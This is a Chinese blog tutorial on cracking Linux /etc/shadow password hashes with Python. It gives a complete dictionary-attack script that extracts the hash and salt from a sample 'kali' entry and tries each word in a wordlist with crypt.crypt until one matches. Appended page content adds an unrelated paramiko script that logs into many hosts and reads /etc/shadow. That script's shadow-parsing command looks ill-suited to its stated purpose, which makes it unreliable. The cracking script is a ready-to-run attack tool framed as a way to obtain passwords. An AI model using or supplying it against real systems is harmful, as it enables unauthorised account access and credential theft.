python脚本破解shadow密码

Linux 中的 shadow 文件是存放管理员及用户密码信息的。

但其存储的密码信息都是加密格式,我们应该如何爆破从而获取密码呢?

在此可尝试利用 python 脚本的方式进行破解。

1. 首先获取其中一个用户的shadow信息,并进行输出。

shadow_line = "kali:$y$j9T$fkwr5RIo3Ksq64TBXIBut.$qij7vYsTDTPTJ.Z27XfTagAfgTWjmEq8t4iJgtI7GZ7:19601:0:99999:7:::"
print(f"[+] The shadow line is:{shadow_line}")

2. 从shadow文件中,提前密码密文

    split() 函数的意思是:以()中内容作为分隔符,取第几个值

    下方意为以冒号作为分隔符,取 [1],也就是 shadow 信息中的第二个元素,即密文信息。

  (因为 数组 等均默认以 0 为起点)

crypt_text = shadow_line.split(":")[1]
print(f"[+] The crypt text is:{crypt_text}")

3. 从密码密文中,提取盐值

    rindex() 函数的意思是:从右向左开始查找,查找第一个字符是()中内容的索引位

    crypt_text[0:crypt_text.rindex("$")]:取字符串,范围在 0 ~ 从右向左开始查找第一个 $ 符出现的位置

salt = crypt_text[0:crypt_text.rindex("$")]
print(f"[+] The salt is:{salt}")

4.  从密码字典文件中,依次读取密码,进行加盐加密操作,将得到的加密值与原密文进行比较,若相同,则表明密码明文一致,即为所求。

file_path = "/home/kali/Desktop/pass.txt"


# 从所提供的文件路径中打开文件,进行“读”操作
with open(file=file_path, mode= "r") as f:
    for line in f:
        password = line.strip()
        print(f"\r[-] Trying password:{password}", end= "") 

# 把读取到的密码与盐值进行加密运算,得到猜测的密码密文
        new_crypt_text = crypt.crypt(password, salt)

# 如果猜测的密码密文与shadow文件中的密码密文一致,说明密码猜对了

        if new_crypt_text == crypt_text:
           print(f"\n[+] PASSWORD FOUND:{password}")
           exit()
        
    print(f"[+] PASSWORD NOT FOUND!")

整体代码如下:

# 获取shadow文件
import crypt
shadow_line = "kali:$y$j9T$fkwr5RIo3Ksq64TBXIBut.$qij7vYsTDTPTJ.Z27XfTagAfgTWjmEq8t4iJgtI7GZ7:19601:0:99999:7:::"
print(f"[+] The shadow line is:{shadow_line}")


# 从shadow文件中,提前密码密文
crypt_text = shadow_line.split(":")[1]
print(f"[+] The crypt text is:{crypt_text}")


# 从密码密文中,提取盐值
salt = crypt_text[0:crypt_text.rindex("$")]
print(f"[+] The salt is:{salt}")


# 从密码字典文件中,读取密码
file_path = "/home/kali/Desktop/pass.txt"

with open(file=file_path, mode= "r") as f:
    for line in f:
        password = line.strip()
        print(f"\r[-] Trying password:{password}", end= "") 

# 把读取到的密码与盐值进行加密运算,得到猜测的密码密文
        new_crypt_text = crypt.crypt(password, salt)


# 如果猜测的密码密文与shadow文件中的密码密文一致,说明密码猜对了
        if new_crypt_text == crypt_text:
           print(f"\n[+] PASSWORD FOUND:{password}")
           exit()
        
    print(f"[+] PASSWORD NOT FOUND!")


 执行结果如下:

获取密码即为爆破成功。

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
以下是一个简单的Python脚本,用于批量查询100台Linux系统中所有用户密码是否过期以及账户是否锁定: ```python import paramiko # 定义主机列表和ssh连接的用户名和密码 host_list = ['192.168.1.1', '192.168.1.2', '192.168.1.3', ..., '192.168.1.100'] username = 'your_username' password = 'your_password' # 建立ssh连接 def ssh_connect(ip, username, password): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip, username=username, password=password) return ssh for host in host_list: ssh = ssh_connect(host, username, password) # 查询所有用户密码是否过期 stdin, stdout, stderr = ssh.exec_command("grep '^\\+\\w*\\:\\*\\:' /etc/shadow | cut -d ':' -f 1") accounts = stdout.readlines() for account in accounts: account = account.strip() stdin, stdout, stderr = ssh.exec_command("chage -l " + account + " | grep 'Password expires' | awk '{print $4}'") password_expire = stdout.read().strip() if password_expire == "never": print("Account {0} on {1} does not have a password expiration date.".format(account, host)) else: print("Account {0} on {1} has a password expiration date of {2}.".format(account, host, password_expire)) # 查询所有用户账户是否锁定 stdin, stdout, stderr = ssh.exec_command("grep '^\\+\\w*\\:\\*\\:' /etc/shadow | cut -d ':' -f 1") accounts = stdout.readlines() for account in accounts: account = account.strip() stdin, stdout, stderr = ssh.exec_command("pam_tally2 --user=" + account + " | grep 'locked' | awk '{print $6}'") if stdout.read().strip() == "locked": print("Account {0} on {1} is locked.".format(account, host)) else: print("Account {0} on {1} is not locked.".format(account, host)) ssh.close() ``` 注意:此脚本假设您已经在所有主机上安装了paramiko和pam_tally2,否则需要先安装。此外,此脚本仅用于演示目的,实际使用时请根据需要进行修改和测试。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值